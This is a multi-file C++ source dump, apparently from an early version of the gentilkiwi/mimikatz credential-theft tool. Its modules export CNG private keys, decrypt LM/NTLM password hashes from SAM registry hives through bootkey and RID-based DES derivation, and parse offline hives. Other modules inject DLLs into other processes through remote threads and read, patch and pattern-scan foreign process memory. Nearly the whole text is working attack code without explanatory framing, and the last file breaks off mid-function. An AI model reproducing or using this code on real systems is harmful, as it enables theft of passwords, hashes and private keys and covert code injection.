PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject"));
PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders"));
PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer"));
bool mod_cryptong::isNcrypt = (
hNcrypt &&
K_NCryptOpenStorageProvider &&
K_NCryptEnumKeys &&
K_NCryptOpenKey &&
K_NCryptExportKey &&
K_NCryptGetProperty &&
K_NCryptFreeBuffer &&
K_NCryptFreeObject &&
K_BCryptEnumRegisteredProviders &&
K_BCryptFreeBuffer
);
bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName)
{
bool reussite = false;
NCRYPT_PROV_HANDLE hProvider;
if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS)
reussite = (K_NCryptFreeObject(hProvider) == 0);
return reussite;
}
bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders)
{
bool reussite = false;
DWORD cbBuffer;
PCRYPT_PROVIDERS pBuffer = NULL;
if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0))
{
for(DWORD i = 0; i < pBuffer->cProviders; i++)
monVectorProviders->push_back(pBuffer->rgpszProviders[i]);
K_BCryptFreeBuffer(pBuffer);
}
return reussite;
}
bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine)
{
bool reussite = false;
NCRYPT_PROV_HANDLE hProvider;
NCryptKeyName * pKeyName;
PVOID pEnumState = NULL;
SECURITY_STATUS retour;
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
{
while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS)
{
monVectorContainers->push_back(pKeyName->pszName);
K_NCryptFreeBuffer(pKeyName);
}
reussite = (retour == NTE_NO_MORE_ITEMS);
if(pEnumState)
K_NCryptFreeBuffer(pEnumState);
K_NCryptFreeObject(hProvider);
}
return reussite;
}
bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine)
{
bool reussite = false;
NCRYPT_PROV_HANDLE hProvider;
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
{
reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS;
K_NCryptFreeObject(hProvider);
}
return reussite;
}
bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize)
{
DWORD tailleEcrite = 0;
return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD));
}
bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable)
{
bool reussite = false;
DWORD tailleEcrite = 0, exportability = 0;
if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)))
{
*isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0;
}
return reussite;
}
bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType)
{
SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0);
if(monRetour == ERROR_SUCCESS)
{
*monExport = new BYTE[*tailleExport];
monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0);
if(monRetour != ERROR_SUCCESS)
delete[] monExport;
}
SetLastError(monRetour);
return (monRetour == ERROR_SUCCESS);
}
bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject)
{
return (K_NCryptFreeObject(hObject) == 0);
}

View File

@ -0,0 +1,24 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <bcrypt.h>
#include <sstream>
class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */
{
public:
static bool getVectorProviders(vector<wstring> * monVectorProviders);
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false);
static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false);
static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize);
static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable);
static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB);
static bool NCryptFreeObject(NCRYPT_HANDLE hObject);
static bool isNcrypt;
static bool justInitCNG(LPCWSTR pszProviderName = NULL);
};

View File

@ -0,0 +1,150 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_hash.h"
PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006"));
PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007"));
PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString"));
PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString"));
bool mod_hash::lm(wstring * chaine, wstring * hash)
{
bool status = false;
UNICODE_STRING maChaine;
OEM_STRING maDestination;
BYTE monTab[16];
RtlInitUnicodeString(&maChaine, chaine->c_str());
if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE)))
{
if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab)))
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
RtlFreeOemString(&maDestination);
}
return status;
}
bool mod_hash::ntlm(wstring * chaine, wstring * hash)
{
bool status = false;
UNICODE_STRING maChaine;
BYTE monTab[16];
RtlInitUnicodeString(&maChaine, chaine->c_str());
if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab)))
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
return status;
}
void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10])
{
BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04};
for(unsigned int i = 0; i < 0x10; i++)
bootkey[i] = key[permut[i]];
}
bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF)
{
bool reussite = false;
unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
unsigned char num[] = "0123456789012345678901234567890123456789";
HCRYPTPROV hCryptProv = NULL;
HCRYPTHASH hHash = NULL;
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
BYTE md5hash[0x10] = {0};
DWORD dwHashDataLen = sizeof(md5hash);
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
CryptHashData(hHash, AccountsF + 0x70, 0x10, 0);
CryptHashData(hHash, qwe, sizeof(qwe), 0);
CryptHashData(hHash, bootKey, 0x10, 0);
CryptHashData(hHash, num, sizeof(num), 0);
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
CryptDestroyHash(hHash);
CryptReleaseContext(hCryptProv, 0);
reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10);
}
return reussite;
}
bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm)
{
bool reussite = false;
unsigned char ntpassword[] = "NTPASSWORD";
unsigned char lmpassword[] = "LMPASSWORD";
BYTE obfkey[0x10];
BYTE mes2CleDES[0x10];
if(encHash->lenght == 0x10 + 4)
{
HCRYPTPROV hCryptProv = NULL;
HCRYPTHASH hHash = NULL;
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
BYTE md5hash[0x10] = {0};
DWORD dwHashDataLen = 0x10;
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
CryptHashData(hHash, hBootKey, 0x10, 0);
CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0);
CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0);
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
CryptDestroyHash(hHash);
CryptReleaseContext(hCryptProv, 0);
if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10))
{
sid_to_key1(rid, mes2CleDES);
sid_to_key2(rid, mes2CleDES + 8);
reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) &&
mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES);
}
}
}
hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L"");
return reussite;
}
void mod_hash::str_to_key(BYTE *str, BYTE *key)
{
key[0] = str[0] >> 1;
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2);
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3);
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4);
key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5);
key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6);
key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7);
key[7] = str[6] & 0x7f;
for (DWORD i = 0; i < 8; i++)
key[i] = (key[i] << 1);
}
void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8])
{
unsigned char s[7];
s[0] = s[4] = (unsigned char)((sid) & 0xff);
s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff);
s[2] = s[6] = (unsigned char)((sid >>16) & 0xff);
s[3] = (unsigned char)((sid >>24) & 0xff);
str_to_key(s, deskey);
}
void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8])
{
unsigned char s[7];
s[0] = s[4] = (unsigned char)((sid >>24) & 0xff);
s[1] = s[5] = (unsigned char)((sid) & 0xff);
s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff);
s[3] = (unsigned char)((sid >>16) & 0xff);
str_to_key(s, deskey);
}

View File

@ -0,0 +1,81 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_text.h"
#include "mod_crypto.h"
class mod_hash
{
private:
static PSYSTEM_FUNCTION_006 SystemFunction006;
static PSYSTEM_FUNCTION_007 SystemFunction007;
static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString;
static PRTL_INIT_UNICODESTRING RtlInitUnicodeString;
static PRTL_FREE_OEM_STRING RtlFreeOemString;
public:
typedef enum _KIWI_HASH_TYPE
{
LM,
NTLM
} KIWI_HASH_TYPE;
typedef struct _SAM_ENTRY {
DWORD offset;
DWORD lenght;
DWORD unk;
} SAM_ENTRY, *PSAM_SENTRY;
typedef struct _OLD_LARGE_INTEGER {
unsigned long LowPart;
long HighPart;
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823
DWORD unk0_header;
DWORD align;
OLD_LARGE_INTEGER LastLogon;
OLD_LARGE_INTEGER LastLogoff;
OLD_LARGE_INTEGER PasswordLastSet;
OLD_LARGE_INTEGER AccountExpires;
OLD_LARGE_INTEGER PasswordMustChange;
unsigned long UserId;
unsigned long unk1;
unsigned long UserAccountControl;
} USER_F, *PUSER_F;
typedef struct _USER_V {
SAM_ENTRY unk0;
SAM_ENTRY Username;
SAM_ENTRY Fullname;
SAM_ENTRY Comment;
SAM_ENTRY UserComment;
SAM_ENTRY unk1;
SAM_ENTRY Homedir;
SAM_ENTRY Homedirconnect;
SAM_ENTRY Scriptpath;
SAM_ENTRY Profilepath;
SAM_ENTRY Workstations;
SAM_ENTRY HoursAllowed;
SAM_ENTRY unk2;
SAM_ENTRY LM;
SAM_ENTRY NTLM;
SAM_ENTRY unk3;
SAM_ENTRY unk4;
BYTE datas;
} USER_V, *PUSER_V;
static bool lm(wstring * chaine, wstring * hash);
static bool ntlm(wstring * chaine, wstring * hash);
static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]);
static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF);
static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm);
static void str_to_key(BYTE *str, BYTE *key);
static void sid_to_key1(DWORD sid, BYTE deskey[8]);
static void sid_to_key2(DWORD sid, BYTE deskey[8]);
};

View File

@ -0,0 +1,242 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_hive.h"
mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset )
{
memcpy(nk, h->base + offset + 4, sizeof(nk_hdr));
nk->key_name = (h->base + offset + 4 + 76);
return nk;
}
mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset )
{
memcpy(lf, h->base+offset+4, sizeof(lf_hdr));
lf->hr = (h->base+offset+4+4);
return lf;
}
mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset )
{
memcpy(vk, h->base+offset+4, sizeof(vk_hdr));
vk->value_name = (h->base+offset+4+20);
return vk;
}
int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size )
{
memcpy(value, h->base+offset+4, size*sizeof(int));
return value;
}
mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index )
{
pos+=(8*index);
memcpy(hr, pos, sizeof(hashrecord));
return hr;
}
unsigned char* mod_hive::read_data(hive *h, int offset )
{
return ((unsigned char*) (h->base + offset + 4));
}
bool mod_hive::InitHive(hive *h)
{
h->base = NULL;
return true;
}
bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h)
{
bool reussite = false;
FILE *hiveh;
unsigned long hsize;
if(_wfopen_s(&hiveh, filename, L"rb" ) == 0)
{
if(fseek(hiveh, 0, SEEK_END) == 0)
{
hsize = ftell(hiveh);
h->base = new unsigned char[hsize];
fseek(hiveh, 0, SEEK_SET);
if(fread(h->base, hsize, 1, hiveh) == 1)
{
reussite = *((int *)h->base) == 0x66676572;
}
}
fclose(hiveh);
}
return reussite;
}
bool mod_hive::RegCloseHive(hive *h )
{
if(h->base != NULL)
{
delete[] h->base;
}
return true;
}
long mod_hive::parself(hive *h, char *t, unsigned long off )
{
nk_hdr *n;
lf_hdr *l;
hashrecord *hr;
int i;
hr = (hashrecord*) malloc(sizeof(hashrecord));
n = (nk_hdr*) malloc(sizeof(nk_hdr));
l = (lf_hdr*) malloc(sizeof(lf_hdr));
l = read_lf(l, h, off );
for(i = 0; i < l->key_num; i++ )
{
hr = read_hr(hr, l->hr, i);
n = read_nk(n, h, hr->nk_offset + 0x1000 );
if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len))
{
free(n);
free(l);
return hr->nk_offset;
}
}
free(n);
free(l);
return -1;
}
bool mod_hive::RegGetRootKey(hive *h, string *root_key)
{
bool reussite = false;
nk_hdr * n = new nk_hdr();
read_nk(n, h, 0x1020);
if (n->id == NK_ID && n->type == NK_ROOT)
{
root_key->assign((const char *) n->key_name, n->name_len);
reussite = true;
}
delete n;
return reussite;
}
bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr)
{
bool reussite = false;
nk_hdr *n = new nk_hdr();
char *t, *tpath;
unsigned long noff = 0;
read_nk(n, h, 0x1020);
if(n->id == NK_ID && n->type == NK_ROOT)
{
tpath = strdup(path->c_str());
t = strtok(tpath, "\\");
if(!memcmp(t, n->key_name, n->name_len))
{
t = strtok(NULL, "\\");
while(t != NULL)
{
noff = parself(h, t, n->lf_off + 0x1000);
if(noff != -1)
{
read_nk(n, h, noff + 0x1000);
t = strtok( NULL, "\\" );
}
else
{
break;
}
}
if(t == NULL && noff != 1)
{
memcpy(*nr, n, sizeof(nk_hdr));
reussite = true;
}
}
free(tpath);
}
delete n;
return reussite;
}
bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len )
{
bool reussite = false;
vk_hdr *v = new vk_hdr();
int * l = new int[nr->value_cnt];
read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt);
for(unsigned int i = 0; i < nr->value_cnt; i++)
{
read_vk(v, h, l[i] + 0x1000);
if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0))
{
*len = v->data_len & 0x0000FFFF;
*buff = new unsigned char[*len];
if (*len < 5)
{
memcpy(*buff, &(v->data_off), *len);
}
else
{
memcpy(*buff, read_data(h, v->data_off + 0x1000), *len);
}
reussite = true;
break;
}
}
delete[] l;
delete v;
return reussite;
}
bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len)
{
bool reussite = false;
mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr();
if(mod_hive::RegOpenKey(h, path, &nodeKey))
{
reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len);
}
delete nodeKey;
return reussite;
}
bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names)
{
int index = 0;
lf_hdr *lf = new lf_hdr();
nk_hdr *nk = new nk_hdr();
hashrecord *hr = new hashrecord();
while(index < nr->subkey_num)
{
lf = read_lf(lf, h, nr->lf_off + 0x1000 );
hr = read_hr(hr, lf->hr, index);
nk = read_nk(nk, h, hr->nk_offset + 0x1000 );
names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len));
index++;
}
delete lf, nk, hr;
return !names->empty();
}

View File

@ -0,0 +1,88 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
using namespace std;
#define NK_ID 0x6B6E
#define NK_ROOT 0x2c
#define LF_ID 0x666C
class mod_hive
{
public:
typedef struct _hive
{
unsigned char *base;
} hive;
typedef struct _nk_hdr
{
short int id;
short int type;
int t1, t2;
int unk1;
int parent_off;
int subkey_num;
int unk2;
int lf_off;
int unk3;
/* unsigned */
unsigned int value_cnt;
int value_off;
int sk_off;
int classname_off;
int unk4[4];
int unk5;
short int name_len;
short int classname_len;
unsigned char *key_name;
} nk_hdr;
typedef struct _hashrecord
{
int nk_offset;
char keyname[4];
} hashrecord;
typedef struct _lf_hdr
{
short int id;
short int key_num;
unsigned char *hr;
} lf_hdr;
typedef struct _vk_hdr
{
short int id;
short int name_len;
int data_len;
int data_off;
int data_type;
short int flag;
short int unk1;
unsigned char *value_name;
} vk_hdr;
static bool InitHive(hive *h);
static bool RegOpenHive(const wchar_t * filename, hive *h);
static bool RegCloseHive(hive *h);
static bool RegGetRootKey(hive *h, string *root_key);
static bool RegOpenKey(hive *h, string *path, nk_hdr **nr);
static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len);
static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len);
static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names);
static long parself(hive *h, char *t, unsigned long off);
static unsigned char* read_data(hive *h, int offset);
private:
static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset);
static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset);
static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset);
static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index);
static int* read_valuevector(int *value, hive *h, int offset, int size);
};

View File

@ -0,0 +1,72 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_inject.h"
bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath)
{
bool reussite = false;
wstring maLibComplete = L"";
if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete))
{
bool fileExist = false;
if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist)
{
SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t));
if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
{
if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess))
{
PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"));
HANDLE hRemoteThread = INVALID_HANDLE_VALUE;
if(mod_system::GLOB_Version.dwMajorVersion > 5)
{
PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL));
}
else
{
hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL);
}
if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(hRemoteThread, INFINITE);
reussite = true;
CloseHandle(hRemoteThread);
}
}
VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE);
}
}
}
return reussite;
}
bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath)
{
bool reussite = false;
if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
{
reussite = injectLibraryInHandle(processHandle, fullLibraryPath);
CloseHandle(processHandle);
}
return reussite;
}
bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath)
{
bool reussite = false;
mod_process::KIWI_PROCESSENTRY32 monProcess;
if(mod_process::getUniqueForName(&monProcess, &processName))
{
reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath);
}
return reussite;
}

View File

@ -0,0 +1,19 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_memory.h"
#include "mod_system.h"
#include "mod_process.h"
class mod_inject
{
public:
static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath);
static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath);
static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath);
};

View File

@ -0,0 +1,140 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_memory.h"
bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess)
{
if(handleProcess == INVALID_HANDLE_VALUE)
{
return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0);
}
else
{
SIZE_T dwBytesRead = 0;
return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur));
}
}
bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess)
{
bool reussite = false;
DWORD OldProtect, OldProtect2;
if(handleProcess == INVALID_HANDLE_VALUE)
{
if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
{
reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0);
VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2);
}
}
else
{
if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
{
SIZE_T dwBytesWrite = 0;
reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur));
VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2);
}
}
return reussite;
}
bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess)
{
BYTE * monTab = new BYTE[longueur];
*addressePattern = adresseBase;
bool succesLecture = true;
bool succesPattern = false;
while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern)
{
if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess))
{
if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0)))
{
*addressePattern += (enAvant ? 1 : -1);
}
}
}
delete[] monTab;
if(!succesPattern)
*addressePattern = NULL;
return succesPattern;
}
bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess)
{
PBYTE addressePattern = NULL;
bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess);
*offsetPattern = addressePattern - adresseBase;
return resultat;
}
bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr)
{
bool resultat = false;
if(thePtr && pattern && taillePattern)
{
if(HMODULE monModule = GetModuleHandle(moduleName))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule)
{
if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant))
{
*thePtr += offSetToPtr;
if(!noPtr)
{
#ifdef _M_X64
*thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr);
#elif defined _M_IX86
*thePtr = *reinterpret_cast<PBYTE *>(*thePtr);
#endif
}
}
else *thePtr = NULL;
}
}
}
}
return resultat;
}
/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là !
{
PBYTE autreAddr = adresseBase;
PBYTE monMask = new BYTE[longueurMask];
PBYTE monTab = new BYTE[longueurMask];
RtlCopyMemory(monMask, maskPattern, longueurMask);
